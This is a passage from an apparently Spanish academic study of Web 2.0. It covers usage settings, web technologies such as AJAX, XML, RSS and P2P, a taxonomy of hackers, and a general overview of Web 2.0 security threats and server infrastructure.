usan. Para saber más en la web de Wikipedia, http://es.wikipedia.org/wiki/Computaci%C3%B3n_en_nube.
Página 78
sociales
Capítulo 6
¿En qué entornos se usan?
La Web 2.0 está en todo tipo de entornos, pudiendo clasificar estos de manera cultural,
laboral y social.
6.1. Social
Las redes sociales hoy en día en auge en el mundo de Internet son aquellos portales dedicados
a establecer vínculos sociales con otras personas compartiendo fotos, videos, imágenes,
blogs… entre usuarios que se registran un sitio web y establecen vínculos familiares,
amistosos, laborales, amorosos, económicos, etc. Estas webs proporcionan herramientas para
crear contenidos de manera colaborativa. La gran parte de las herramientas tienen un
componente social, ya que al ser Web 2.0 unen usuarios con intereses comunes.
Dentro de estas redes podemos distinguir, si el canal de comunicación es síncrono, es decir,

que se trata de comunicaciones simultáneas o es asíncrono, que no necesita comunicación
simultánea para ello.
Síncrono: comunicaciones simultáneas. Podemos destacar programas como Second

Life.
Asíncrono: no necesita comunicación simultánea, estas son más habituales. Podemos
destacar los blogs, podcast, Facebook, Tuenti, Youtube, Flickr, Twitter, Delicious y
otras muchas redes sociales.
6.2. Profesional
Las redes profesionales son aquellas redes que circulan vía intranet o extranet para el apoyo
profesional enfocado al trabajo diario, ya son aplicaciones para gestión de incidencias,
seguimiento de proyectos, etc. Las aplicaciones dentro de la empresa cada vez van
adquiriendo un enfoque 2.0 mayor, de manera que todas las aplicaciones nuevas que van
surgiendo en los entornos empresariales van más enfocadas al entorno de la colaboración.
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sociales
6.3. Cultural
Se trata de aquellas redes dedicadas compartir cultura, ya sea literatura, arte, libros, cine,
educación, etc. La educación en concreto debería ser un pilar en la construcción de la
“sociedad del conocimiento”, aunque hoy un día existen muchas barreras institucionales para
ello.
Podemos ver las implicaciones educativas15 que tiene la Web 2.0:
Constituye un espacio social horizontal y rico en fuentes de información (red social

donde el conocimiento no está cerrado) que supone una alternativa a la jerarquización
y unidireccionalidad tradicional de los entornos formativos. Implica nuevos roles para
profesores y alumnos orientados al trabajo autónomo y colaborativo, crítico y
creativo, la expresión personal, investigar y compartir recursos, crear
conocimiento y aprender...
Sus fuentes de información (aunque no todas fiables) y canales de comunicación
facilitan un aprendizaje más autónomo y permiten una mayor participación en las
actividades grupales, que suele aumentar el interés y la motivación de los
estudiantes.
Con sus aplicaciones de edición profesores y estudiantes pueden elaborar fácilmente
materiales de manera individual o grupal, compartirlos y someternos a los
comentarios de los lectores.
Proporciona espacios on-line para el almacenamiento, clasificación y
publicación/difusión de contenidos textuales y audiovisuales, a los que luego todos
podrán acceder.
Facilita la realización de nuevas actividades de aprendizaje y de evaluación y la
creación de redes de aprendizaje.
Se desarrollan y mejoran las competencias digitales, desde la búsqueda y selección
de información y su proceso para convertirla en conocimiento, hasta su publicación y
transmisión por diversos soportes.
Proporciona entornos para el desarrollo de redes de centros y profesores donde
reflexionar sobre los temas educativos, ayudarse y elaborar y compartir recursos.
Las herramientas más destacadas del entorno cultural son las educativas, un ejemplo de ellas
es eLearning 2.0.
15
Artículo “La Web 2.0 y sus aplicaciones didácticas”, http://www.peremarques.net
Página 80
sociales
Capítulo 7
Cómo se desarrollan: Tecnologías
y lenguajes
7.1. Desarrollo de los lenguajes y tecnologías que giran en torno a la
Web 2.0
En estos últimos años el desarrollo de las nuevas tecnologías se ha incrementado tanto en
número como en complejidad de manera increíble. El desarrollo de la Web 2.0 ha hecho que
surjan con ella un conjunto de nuevas tecnologías mejorando las anteriormente conocidas o
uniendo algunos lenguajes para crear mayor versatilidad en los portales 2.0.
Los lenguajes y tecnologías que van ligados a este desarrollo de la Web 2.0, resaltando en
negrita las más importantes, son:
AJAX (Asynchronous JavaScript And XML). Aplicaciones Web basadas en HTML y

JavaScript con componentes asíncronos.
CSS (separación de diseño y contenido) y HTML.
XML y Servicios Web (dicotomía REST vs SOAP).
XUL (XML-based User-interface Language) basado en XML para la interfaz de
usuario.
RSS, RDF y ATOM (sindicación y agregación de contenidos).
Java Web Start (clientes ricos, no HTML).
Adobe Flash, Adobe Flex framework, Laszlo.
SSO, Registro, Federación de Identidad (Autenticación, Autorización y Seguridad en
el acceso a las Aplicaciones Web).
JavaScript.
DOM (Document Object Model).
PHP, Ruby, Python, Perl, ColdFusion, JSP y ASP (lenguajes que se usaban en la Web
1.0 que se siguen utilizando en la Web 2.0).
JavaScript/AJAX frameworks como Yahoo! UI Library, Dojo Toolkit, MooTools y
jQuery, DWR, GWT.
XHTML y microformatos.
Página 81
sociales
URLs semánticas (entendibles por el usuario, no dinámicas).

JCC (Java Script Client Comunication) o JSON (JavaScript Object Notation).
Mashup (aplicación web híbrida).
P2P.
OPML.
De todas estas tecnologías y detrás de todos los grandes portales que engloban la Web 2.0
podemos destacar una tecnología común que es Asynchronous JavaScript And XML (AJAX).
AJAX es un conjunto de técnicas de desarrollo web usadas en el lado del cliente para crear
aplicaciones Web y Rich Internet Applications (RIA). Con AJAX, las aplicaciones Web pueden
recuperar datos del servidor de modo asíncrono sin interferir con la presentación ni con el
comportamiento de la página. El uso de AJAX ha desembocado en un incremento en la
interactividad de las páginas web y una mejor calidad de los servicios Web gracias al modo
asíncrono. Los datos se obtienen del servidor usando el objeto XMLHttpRequest (XHR).
AJAX no es una tecnología en sí misma, sino un grupo de ellas:
- HyperText Markup Language (HTML) y Cascading Style Sheets (CSS) para el marcado y
presentación de la información.
- Document Object Model (DOM) accedido mediante JavaScript para mostrar
dinámicamente y permitir la interacción con la información mostrada.
- Un método para intercambiar información de modo asíncrono entre el navegador y el
servidor, evitando las recargas de la página. El objeto XMLHttpRequest es el más
usado, pero en ocasiones se usa un objeto IFrame o una etiqueta <script>.
- Un formato para los datos, los más comunes son Extensible Markup Language (XML),
HTML preformateado, texto plano, y JavaScript Object Notation (JSON), estos datos
pueden ser generados dinámicamente por alguna forma de Server-side Scripting.
Hay que remarcar, de todos modos que JavaScript no es el único lenguaje que puede usarse
como lenguaje de script en el lado cliente, por ejemplo, Visual Basic Scripting Edition
(VBScript) también es un ejemplo de ello. Además XML no es obligatorio para el intercambio
de información, JSON se usa a menudo como una alternativa y otros formatos también
pueden usarse, como ya se ha comentado.
La necesidad de AJAX puede verse en los siguientes escenarios:
En muchos casos, al navegar entre páginas de un mismo website hay mucho contenido común
entre ellas, usando los métodos tradicionales, ese contenido sería recargado con cada
petición, sin embargo, al usar AJAX, una aplicación Web puede pedir únicamente el contenido
que necesita cambiar, reduciendo drásticamente el tiempo de carga y el ancho de banda
utilizado.
La utilización de peticiones asíncronas permite al navegador del cliente ser más interactivo y
responder más rápidamente, los usuarios perciben que la aplicación es más rápida y que
reacciona con más rapidez, aun cuando la aplicación no ha cambiado en el lado del servidor.
Página 82
sociales
El uso de AJAX reduce las conexiones al servidor, dado que los scripts y hojas de estilo solo
tienen que ser pedidas una vez.
Los estados perduran durante toda la visita a un website, las variables JavaScript persisten
dado que el contenido principal de la página no tiene que ser recargado. Sin embargo también
existen argumentos en contra de su uso, tales como:
Las páginas generadas usando peticiones con AJAX sucesivamente no se registran

automáticamente en el histórico del navegador, asique si se presiona el botón “Atrás” puede
no regresar al anterior estado, sino a la última página completa visitada. Una mejora en este
aspecto es incluir Iframes para activar cambios en el histórico del navegador y modificar la
parte “anchor” de la URL cuando AJAX está en funcionamiento para monitorizar los cambios.
Por similares causas es difícil añadir un determinado estado de la aplicación a “Favoritos”,

también existen soluciones a este problema, muchas de las cuales usan fragmentos
identificadores en la URL para registrar y permitir a los usuarios devolver la aplicación a un
estado en particular.
Dado que la mayoría de Web Crawlers16 no ejecutan JavaScript, las Aplicaciones Web que
deben ser indexadas públicamente deben proporcionar maneras alternativas de acceder a su
contenido, para permitir a los motores de búsqueda indexarlas.
Cualquier navegador que no proporcione soporte a AJAX o JavaScript, o que tenga

deshabilitado este último, no será capaz de usar estas funcionalidades. Asimismo, dispositivos
como móviles, como smartphones o PDA’s pueden no soportar JavaScript o el objeto
XMLHttpRequest. La única manera de permitir usar las funcionalidades es volver a métodos
no JavaScript. Esto puede lograrse haciendo links y formularios estando seguro de que
pueden resolverse adecuadamente no únicamente mediante AJAX. En JavaScript, la entrega
de estos formularios puede entonces ser detenida con un “return false”.
La “same origin policy” impide que algunas técnicas de AJAX puedan ser usadas entre
dominios, aunque el W3C tiene un borrador que habilitará esta funcionalidad.
AJAX abre vías a nuevos vectores de código malintencionado que los desarrolladores web no
conocen aun suficientemente.
Hemos de destacar un par de neologismos que son los microformatos y las folksonomías17.
Los microformatos son procedimientos y formatos estandarizados creados por los propios
consumidores, usuarios, internautas de la web, destacando la asignación de etiquetas del
contenido de la web de manera fácil. En definitiva han desarrollado el etiquetado semántico;
se trata de navegar a través de etiquetas, sin tener una autoridad centralizada. El etiquetado
semántico ha cambiado la forma de generar y consumir información en la Web. La tecnología
16 Web Crawler o Araña Web , se trata de un programa que inspecciona las páginas del World Wide Web de forma metódica y
automatizada con el fin de crear índice de búsqueda, analizar links rotos de una web o recopilar información sobre una web de
cierto tipo. Para ver más en Wikipedia, http://en.wikipedia.org/wiki/Web_crawler.
17
La folksonomía es la clasificación por medio de tags o etiquetas en nombre simples y sin jerarquías ni relaciones. Sitios
destacados de tags pueden ser Delicios o Flickr.
Página 83
sociales
que más se usa en este entorno es XHTML (de las siglas eXtensible Hypertext Markup
Language), es un lenguaje de marcado que se pensó para ser el lenguaje estandarizado de
páginas web, dejando de lado el HTML, intentando conseguir una web semántica.
El XML, lenguaje de marcas extensible (de las siglas Extensible Markup Language) es una
evolución del HTML (HyperText Markup Language o en español “Lenguaje de Marcas de
Hipertexto”). El HTML se basa en etiquetas que están predefinidas por el lenguaje para la
creación de páginas webs. El XML es un metalenguaje de etiquetas que llega más allá y
permite crear etiquetas “propias”, es decir, donde en HTML existe una etiqueta que puede ser
<head> en XML esta misma etiqueta podría ser <mycabecera>. HTML ha evolucionado en
muchas otras tecnologías junto a XML como son, CSS (de las siglas Cascading Style Sheets), se
trata de un lenguaje avanzado que sirve para expresar hojas de estilo. XHTML, XSLT (de las
siglas eXtensible Stylesheet Language Transformations), que se trata de un lenguaje de
transformación usado cambiar, añadir o eliminar etiquetas y atributos. DOM (de las siglas
Document Object Model) es un conjunto de llamadas a funciones para manipulación de
archivos XML y HTML de manera estandarizada. OPML (de las siglas Outline Processor Markup
Language) se trata de una lista en formato XML orientado para esquemas (del inglés outlines);
principalmente se usa para listar fuentes RSS (Really Simple Syndication) juntas.18
Otra evolución del HTML es el lenguaje de programación JavaScript. Se trata de un lenguaje

interpretado que se usa básicamente en páginas web, usando una sintaxis muy parecida a
Java.
CSS o hojas de estilo en cascada es un lenguaje de hojas de estilo usado para describir la
presentación (esto es, la apariencia y formato) de un documento escrito en un lenguaje de
marcado. Su aplicación más usual es definir la presentación de páginas web escritas en HTML
y XHTML, pero puede ser aplicado a cualquier tipo de documento XML.
CSS está diseñado principalmente para permitir la separación del contenido del documento,
de su presentación, esta separación puede mejorar la accesibilidad del contenido, la
flexibilidad y control en la especificación de las características de presentación, permitiendo
que múltiples páginas compartan formato, y reduciendo la complejidad y repetición en el
contenido estructural (como por ejemplo permitiendo el diseño web sin tablas). CSS además
permite a la misma página ser presentada en diferentes estilos para diferentes métodos de
rendering, también puede ser sustituida la que el autor especifico por una de la propia
computadora.
CSS define un esquema de prioridades que determina que regla aplica en caso de que mas de
alguna pueda usarse en un elemento en particular, en esta llamada cascada, las prioridades se
calculan según están asignadas a las reglas, así que los resultados son predecibles. Las
especificaciones CSS las mantiene el World Wide Web Consortium (W3C).
Really Simple Syndication (RSS 2.0), es un formato de documento que se trata de la unión de
varios formatos de fuentes web codificados en XML conforme indicaciones del W3C, para la
18
. Para más información se puede visitar la página de W3C, www.w3c.es
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sociales
sindicación de contenidos en la Web; de ahí su nombre, sindicar, que en inglés significa

“publica artículos simultáneamente en diferentes medios a través de una fuente a la que
pertenece”. “Sindicación” es una mala traducción de sindication, aún así se utiliza mucho hoy
en día. Más que sindicación, deberíamos hablar de redifusión web; se trata de redifusión de
contenidos y compartir información en formato XML, ofreciendo contenidos propios para
poder ser mostrados en otras webs de manera integrada.
La idea es facilitar la inserción de contenidos en las páginas web que actualizan información
constantemente para hacerlo de manera más dinámica. Los documentos (“RSS feeds”) se leen
por los lectores (RSS readers) que se llaman agregadores (del inglés aggregators).RSS permite
modificar la información del portal sin necesidad de tener un navegador, permite que en el
escritorio de la propia máquina se tenga actualizada la información.
El tipo de webs que más utilizan este formato son webs de periódicos (The New York Times, El
País, ABC, El Mundo…), de televisiones (BBC, Telecinco, La Sexta…), revistas (Rolling
Stone…), blogs, portales del tipo Yahoo, Msn, etc.
Junto a RSS existen más estándares para la sindicación de contenidos, otro muy usando es el
formato ATOM también es otro tipo de formato web.
Otra tecnología orientada a la Web 2.0 es la tecnología Peer to peer (su traducción
corresponde a “redes de pares” o “redes entre iguales”) o P2P. Las redes P2P son muy útiles a
la hora de compartir archivos entre máquinas. Las redes P2P son una red de máquinas, donde
no existen servidores fijos, sino que las propias máquinas hacen la función de servidores al
resto de las máquinas de la misma red de manera que optimizan el ancho de banda agilizando
la transferencia de archivos y consiguiendo una velocidad de transferencia mayor.
Existen aplicaciones P2P muy conocidas por todos como son Emule (en recisión hoy en día
debido al uso de archivos torrent), eDonkey (cerrado debido a un juicio que tenía la Recording
Industry Association Of América (RIAA) a la empresa que llevaba esta aplicación MetaMachine
en septiembre del 2006), BitTorrent (muy usado hoy en día), Skype (para comunicaciones
voIP), etc.
El que este tipo de redes perdure y se usen con mucha frecuencia se debe a que son redes muy
robustas, llegan a todo el mundo con capacidad para millones de usuarios, se trata de redes
descentralizadas, los costes se reparten entre usuarios que son mayoritariamente anónimos y
unas de las principales cosas q ha impulsado su desarrollo ha sido el gran ancho de banda que
existe a nivel mundial.
No todos son ventajas en las redes P2P, una desventaja y muy grande es el problema de la
seguridad; debido a que muchos de los archivos que se comparten a nivel mundial se hacen de
manera “ilegal” ya que conllevan muchos problemas de derechos de autor, las autoridades de
los grandes países, principalmente EEUU, se dedican a inyectar archivos corruptos o erróneos
en estas redes para que finalmente terminen extinguiéndose este tipo de aplicaciones debido
a la poca fiabilidad de los archivos, como ocurrió con la aplicación Kazaa. Este tipo de archivos
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sociales
se puede tratar de virus, gusanos o troyanos, programas de spyware, malware, etc.; las redes
P2P son una de las principales fuentes de intercambio de este tipo de archivos maliciosos.
Existen librerías y herramientas que permiten facilitar la tarea de incorporar aplicaciones a las
webs ya que ésta no suele ser fácil porque los navegadores son diferentes a la hora de
interpretar código y porque mantener gran cantidad de código en JavaScript y componentes
basados en AJAX no es una tarea fácil.
DWR (Direct Web Remoting) se trata de una librería de JavaScript que hace el uso de AJAX
más simple. DWR permite publicar fácilmente funcionalidades de clases Java para accederlas
vía JavaScript, es decir, permite a JavaScript interactuar con las clases de Java en un server
ayudando así a la mejora de resultados en las páginas webs.
Si lo que se desee es apoyar la parte gráfica para obtener una mejora de la interfaz se podría
combinar DWR con otras librerías como YUI (Yahoo User Interface), JQuerym Oritityoem
Scriptaculous, Dojo, Spry, etc.
DWR19 también permite a JavaScript manipular fácilmente HTML de la web, por ejemplo,
obteniendo datos de formularios HTML form, tags de HTML, clonar tags, sacar fácilmente
valores de tags.
Otra herramienta similar es GWT20 (Google Web Toolkit) que permite crear aplicaciones AJAX
en lenguaje Java, para poder ejecutarlas en JavaScript ya que funciona automáticamente en
los clientes web. La idea es crear aplicaciones en AJAX en Java y compilarlas para que el
resultado final sea JavaScript.GWT elimina todo el código que sea innecesario para disminuir
así el peso del archivo final.
En un futuro se hablará más en profundidad de estas tecnologías y de otras relacionadas con

la Web 2.0.
19
Podemos obtener esta librería en http://directwebremoting.org/dwr/download.html
20
Para más información o descarga de la herramienta http://code.google.com/webtoolkit/
Página 86
sociales
Capítulo 8
Aspectos de la seguridad en Web
2.0
8.1. ¿Quién nos vigila?
A menudo cuando alguien irrumpe en un sistema informático se dice que ha sido un “hacker”
y se tiende a pensar que lo ha hecho de la manera más sofisticada posible y que su grado de
conocimientos informáticos tiene que ser muy elevado, pero… ¿qué es un hacker?
Hoy por hoy se asocia a la palabra hacker con la de pirata informático, pero ha tenido otras
connotaciones en el pasado. En un principio, cuando empezó a surgir el término hacker en los
años 50 se refería para describir a aquellos que eran expertos programadores. En los años 70,
“hacker” describía a los revolucionarios informáticas que fundaron empresas de IT muy
importantes. En los años 80 empezó a tener una connotación negativas refiriéndose a la
piratería de videojuegos.
En realidad un hacker es una persona con grandes conocimientos informáticos y de

telecomunicaciones que los usa con un fin que puede ser malicioso o no. Normalmente este
término tiene una connotación negativa ya que se relaciona con tareas ilegales, pero en
realidad, el término correcto para ello sería pirata informático.
Existen diferentes tipos de piratas informáticos; vamos a ver una clasificación de ellos
obtenida de http://kioskea.net.
- Hackers de sombrero blanco: se trata de hackers en el buen sentido de la palabra que

se preocupan por mejorar la tecnología y los sistemas y suelen ser gente dedicada a
redes en las organizaciones, administradores de red.
- Hackers de sombrero negro: estos serían los llamados piratas informáticos que usan
sus conocimientos técnicos con el objetivo de irrumpir en los sistemas informáticos
para lograr fines maliciosos.
- Script Kiddies: son usuario s de la red novatos que usan programas que encuentran
por internet sin tener muchos conocimientos técnicos; lo hacen por diversión y sus
ataques no suelen daña sistemas informáticos. También son llamados crashers, lamers
y packet monkeys.
Página 87
sociales
- Phreakers: se trata de piratas informáticos que piratean las líneas telefónicas. Usan la
RTC21 (de las siglas Red Telefónica Conmutada) para hacer llamadas gratis a través de
circuitos telefónicos.
- Carders: estos piratas son los que tienen conocimientos en sistemas de tarjetas
inteligentes y se aprovechan de sus vulnerabilidades para atacar. Normalmente este
tipo de ataque se realiza sobre tarjetas bancarias.
- Crakers: este tipo de usuarios se encargan de atacar a los sistemas informáticos
software y SO craqueando la protección anticopia con licencia de ellos. Crean los
programas llamados “crack” que se trata de un ejecutable que se encarga de modificar
el software de fábrica o de crear números de licencia falsos para activar de manera
ilícita este software.
- Hacktivisitas: se trata de hackers con una ideología como tal; este término se creó
para designar a una comunidad paralela llamada underground.
El término hacker es algo abstracto en realidad ¿nos tenemos que preocupar de “el hacker”
como tal? Cuando alguien realiza ataques a nuestra empresa puede ser un atacante que no
tenga nada que ver con ella o un empleado mismo de la empresa. Los hackers más peligrosos
para nuestros servidores son los ex-empleados ya que estos están furiosos por no poder seguir
trabajando dentro de la empresa y por cualquier razón intentan atacar las máquinas en busca
de información o simple diversión; de ahí que las políticas de seguridad sean estrictas y si
alguien no trabaja en la empresa no pueda tener acceso a los sistemas de ella.
21
La Red Telefónica Conmutada es una red de comunicación diseñada para transmisiones de voz, pero puede también soportar
otro tipo de datos como faxes o conexiones a Internet. Se trata de una red telefónica clásica.
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sociales
8.2. Seguridad 2.0 actual

La Web 2.0 – contenido generado por los usuarios, interfaces de usuario atractivas, servicios
dinámicos y cooperativos – ha traído consigo una nueva y extremadamente infecciosa clase
de Malware 2.0. Existe una evidente relación entre la Web 2.0 y el incremento de las
infecciones “drive-by malware”, las cuales no requieren intervención ni notificación al usuario.
Para dar una idea de la magnitud de la amenaza, un informe de Scansafe que analizó las
tendencias de malware, reportó que el riesgo de websites inseguros se incrementó en un 407%
en el año 2008.
Una de las más importantes fuentes de vulnerabilidades en la Web 2.0 son los inadecuados
marcos de acceso y autorización usados en estos entornos, remarcando algunos casos en los
que estas políticas son deliberadamente relajadas u obviadas con propósitos dañinos. En otras
ocasiones estos problemas provienen de la dificultad de encontrar un adecuado equilibrio
entre proporcionar suficiente libertad a las aplicaciones Web 2.0 y garantizar una seguridad
aceptable.
La Web 2.0 ha traído consigo una gran cantidad de cambios en la manera en la que la
información y el conocimiento son tratados. Una página web aloja contenido e incluso
ejecutables provenientes de múltiples fuentes incluidos usuarios finales, y la información
puede ser alterada muchas veces desde su origen.
Esto implica en particular que:
Aumentar la oportunidad de contribuir al contenido también aumenta la oportunidad

de hacer inyecciones de código malicioso, incluyendo muchas vulnerabilidades en la
categoría de Cross-site scripting, una importante agujero de seguridad explotado por
el Malware 2.0. Agravan aun mas este problema los cortísimos ciclos de de desarrollo
y el hecho de que los programadores tienen muy poca o ninguna formación en
conceptos de seguridad.
Es más difícil dar crédito a las informaciones y relativamente sencillo promover
información fraudulenta con fines criminales (como por ejemplo para distorsionar los
precios de las acciones en un esquema denominado “pump and dump”).
Estas vulnerabilidades son de importancia dado el daño potencial que pueden causar,
desde la suplantación, hasta pérdidas económicas y daños a la privacidad y a la
reputación de las personas o entidades.
La tecnología puede resolver muchos de estos problemas, pero eliminarlos de forma
consistente requiere involucrar a los usuarios y tener en cuenta aspectos de seguridad
a la hora de definir los procesos y crear las tecnologías. Algunos elementos de este
enfoque incluyen:
Políticas gubernamentales, por ejemplo incentivos al desarrollo seguro como
esquemas de certificación ligeros’.
Investigación, por ejemplo, la posibilidad de usar TLS/SSL, como manera de
establecer seguridad y confianza en entornos Web 2.0, y modelos de seguridad
JavaScript avanzados.
Página 89
sociales
Campañas de concienciación / información, sobre la perdurabilidad de los datos en la

red, uso de autenticaciones más fiables en ciertos escenarios Web 2.0 y la ineficacia de
la verificación de la edad y los esquemas de calificación en Web 2.0.
Estandarización, en desarrollo, profundizando en el control de acceso y autorización,
elaborando estándares que preserven la privacidad y garanticen la autenticidad de las
informaciones.
Tomar medidas en el proveedor del servicio, tales como la mejora de la autenticación
y el uso de cifrado.
Iniciativas de desarrollo seguro, elaborando procesos de desarrollo seguro para Web
2.0 y herramientas que soporten estos procesos, incluidas características de este tipo
para IDEs y APIs.
Página 90
sociales
Segunda parte
Aspectos de seguridad en Web 2.0
y redes sociales
Página 91
sociales
Capítulo 9
Introducción a la seguridad 2.0
En esta segunda parte se va dejar a un lado lo que es el desarrollo e historia de la Web 2.0 y
nos vamos a centrar básicamente en la seguridad que engloba todo el mundo 2.0.
En un mundo donde las avanzadas infraestructuras de Internet hacen que el cibercrimen

crezca de manera descontrolada la seguridad dichas infraestructuras es crucial. El problema
que nos encontramos al intentar reaccionar antes estos agujeros de seguridad es la velocidad
con que evoluciona la Web 2.0 tanto a nivel de hardware como a nivel de software. Esto hace
que surjan día a día numerosas vulnerabilidades de 0-day que somos incapaces de detectar y
que si nos viéramos expuestos a un ataque de este tipo, tanto a nivel de usuario local como
una gran organización sería complicado de detectar. Un informe realizado por McAfee estima
que las perdidas por las empresas a costa del cibercrimen se elevan a 1 trillón por año22.
La mayor dificultad de la seguridad 2.0 es que no existe concienciación por parte de los
usuarios frente a la responsabilidad que deben de tener a nivel individual frente a la seguridad
en la Web 2.0. En los entornos de redes sociales los usuarios tienen la sensación de
encontrarse en un sitio seguro pensando que se encuentran en una red cerrada cuando no es
así. Esto permite a los atacantes aprovecharse de ello a través de ingeniería social. Cuando los
usuarios abren un video de Youtube desde Facebook no saben que pueden estar sometidos a
un ataque de cross-site scripting o que los links que ven en sus redes sociales pueden referirse a
sitios maliciosos que incluyen técnicas de pishing o pharming. Otra vía de ataque esencial en el
mundo 2.0 son los websites de ebanking o websites que ofrecen servicios financieros y que
pueden poner en peligro nuestros datos financieros.
Otro tema relacionado con la seguridad 2.0 y que esta en auge, viene de la mano de los
dispositivos móviles y más concretamente de los smartphones. En ellos almacenamos más
información personal que en cualquier otro dispositivo y no solo eso, si no que gracias a la
cultura “always on”23 de estos dispositivos, mantenemos estos datos personales al alcance de
22
McAfee at the World Economic Forum, Davos.
http://www.mcafee.com/us/about/press/corporate/2009/20090129_063500_j.html
23
Internet Facilitated Organised Crime, threat assesment de la Europol.
http://www.europol.europa.eu/publications/Serious_Crime_Overviews/Internet_Facilitated_Organised
_Crime_iOCTA.pdf
Página 92
sociales
los atacantes 24x7 ya que siempre estamos conectados a nuestras redes sociales y programas
de mensajería instantánea y lo hacemos sin ningún tipo de seguridad.
Otro tema crucial es el de las Botnets. Estas redes roban información privada personal y
financiera, envían malware de tipo spam, virus, troyanos, software espía, etc. y realizan
ataques de DoS (Denial of Service) desde multitud de máquinas hacia usuarios concretos o
empresas.
Un ejemplo de esto es la botnet Mariposa24 que controlaba en el 2009 un total de 13 millones

de zombies repartidos alrededor del mundo. La botnet Rustok25 con un total de 1,3 millones de
bots fue capaz de enviar 46.000 millones de mensajes basura enviados cada día siendo el
responsable del 41% del spam total.
Algo que se empieza a escuchar cada vez más cloud computing. El problema de esta filosofía
viene a la hora de dejar los datos confidenciales de las empresas en terceras máquinas donde
pueden ser expuestos a más ataques. Las empresas deberán encontrar el equilibrio entre la
confidencialidad de sus datos y la disponibilidad de estos a la hora de incluir su información
dentro de esta nube de computación.
Todos estos temas que conciernen a la seguridad de la Web 2.0 los veremos desarrollados en
cinco grandes grupos que son:
Hardware y Software del servidor 2.0.

Hardware y Software del cliente.
Lenguajes y tecnologías de comunicación cliente-servidor.
Privacidad.
Legislación, estándares y normativas.
24
Presentación “Seguridad 2.0” de CODIC.
http://www.cert.uy/historico/pdf/Presentacion_Seguridad_20.pdf
25
“La compañía Symantec publica nuevos datos con los que dar a conocer las redes de bots mas
importantes” por Desarrollo web. http://www.desarrolloweb.com/de_interes/ranking-botnets-agosto-
2010-4037.html
Página 93
sociales
Primero analizaremos cada nivel de seguridad que existe en la Web 2.0, nivel de servidor, de
cliente o de tecnologías y lenguajes entre estos.
Ilustración 16. Seguridad 2.0.
La seguridad referida al proceso de conexión a un portal 2.0 engloba a la parte de hardware y

software de los servidores donde se almacenan estos portales web hasta la parte del cliente
también hardware y software, con los diferentes tipos de clientes finales que podemos tener
para conectarnos a la Web 2.0 como PC, smatphones, navegadores, tablet pc, etc y el software
final que tendremos hubicados en estos dispositivos para trabajar con la Web 2.0 como
pueden ser los CMS. También veremos la interconexión entre estos dos, que lenguajes y
tecnologías existen y sus vulnerabilidades y protección frente a ellas.
A parte de ver la seguridad en el software y hardware que tenemos en cliente, servidor y en

sus comunicaciones, también vamos a ver otros aspectos esenciales de las redes sociales
como son la privacidad y el ámbito de la legislación, estándares y normativas.
Finalmente desarrollaremos dos casos de uso relevantes en el mundo de la seguridad 2.0 que
son Facebook y Twitter y analizaremos la influencia de estas redes sociales en la actualidad
desde todos sus ámbitos enfocándonos siempre a la seguridad de estas redes.
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sociales
Capítulo 10
Hardware y software del servidor
10.1. Introducción
La funcionalidad de un servidor Web 2.0 se basa en la arquitectura de un servidor web, pero un
servidor Web 2.0 deberá de soportar mucha más conexiones de usuarios de manera
simultánea que un servidor web tradicional. Las empresas web usan servidores dedicados,
que se trata de servidores que la empresa alquila y tiene el control completo sobre esos
servidores. Este tipo de servidores se suelen alojarse en el CPD (Centro de Procesamiento de
Datos) de las empresas.
Las empresas dedicadas a la Web 2.0 deben de proteger sus servidores a conciencia ya que es
dónde van dirigidos muchos de los ataques a las organizaciones y donde reside toda la
información de sus usuarios, información privada que hay que proteger y garantizar según la
LOPD (Ley Orgánica 15/1999 de de Protección de Datos de Carácter Personal).
10.2. Hardware del servidor

Existen multitud de máquinas diferentes para instalar servidores según los requerimientos
tecnológicos que se necesiten. Hoy en día lo que se lleva mucho en las empresas es el
contratar servidores dedicados o el cloud computing.
Las Web 2.0 se centran mucho en la interfaz, sobre todo en la usabilidad de esta para que el
usuario sea capaz de encontrar rápidamente todo lo que busque. A parte de la interfaz,
también se busca que estas Webs sean funcionales y veloces, lo que requiere una gran
cantidad de recursos a nivel hardware.
Las empresas dedicadas a Web 2.0 tienen centros de servidores que gastan de 10 a 30 veces
más en energía por metro cuadrado que cualquier edificio normal de oficinas. Debido a esto
las empresas tecnológicas crean servidores especializados para este tipo de empresas. Por
ejemplo el servidor iDataPlex de IBM esta especialmente pensado para este tipo de servicios.
Página 95
sociales
Las características básicas que debería englobar un servidor dedicado a Web 2.0
exclusivamente serían:
Alta cantidad de conexiones simultáneas a alta velocidad.

Gran capacidad de almacenamiento de datos.
Integración de sistemas de backup de información.
Refrigeración a altas temperaturas.
Capacidad energética para albergar gran cantidad de máquinas.
Si dentro de estas características englobamos algo más a nivel software, estas máquinas
deberán de incorporar un sistema operativo para poder trabajar con ellas, por ejemplo
Windows Server o Apache, y estos sistemas operativos deberán tener unas políticas de
seguridad muy estrictas y restrictivas.
Hay diferentes formas de trabajar con estos servidores de manera que las conexiones entre
cliente y servidor sean más rápidas y eficientes. La más popularizada son las bases de datos
distribuidas; se conectan varios maquinas para poder así procesar las aplicaciones en paralelo
aumentando los tiempos de respuesta para funciones de búsqueda.
Vamos a ver qué tipo de servidores que actualmente existen en la red y en las empresas:
Servidores de impresoras u otros dispositivos

Servidores de correo
Filers
Servidores de fax
Servidores de telefonía
Servidores Proxy
Servidores de acceso remoto
Servidores de uso
Servidores web
Servidores de bases de datos
Servidores de reserva
Servidores de aplicaciones
Servidores de audio/video
Servidores de chat
Servidores de FTP
Servidores Telnet
Servidores Groupware
Plataformas de servidor
Servidores de listas
Servidores de noticias
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sociales
10.3. Software del servidor

El software de la Web 2.0 está enfocado al software típico de un servidor web, ya que al fin y al
cabo los portales 2.0 se encuentran alojadas en servidores web, pero se diferencian de los
típicos servidores web en que éstos necesitan mayores recursos ya que soportan un número
de conexión simultáneas muy elevado y que el software que desarrollan es diferente, más
enfocado a la filosofía 2.0.
El software de los servidores 2.0 suele tener un enfoque universal donde la funcionalidad
principal se encuentra en una sola plataforma de servidor o bien también se hace uso de
herramientas de publicación para la gestión dinámica de contenidos. La influencia que están
teniendo los portales 2.0 va unida al desarrollo de las herramientas Web para páginas Web,
cada vez más enfocadas a las redes sociales.
Tenemos una gran oferta de servidores web26 en el mercado para elegir. Los más populares:
Microsoft Internet Information Server (ISS) de Microsoft. Creado para plataformas

Windows NT/2000 y 2003. Es fácil de administrar.
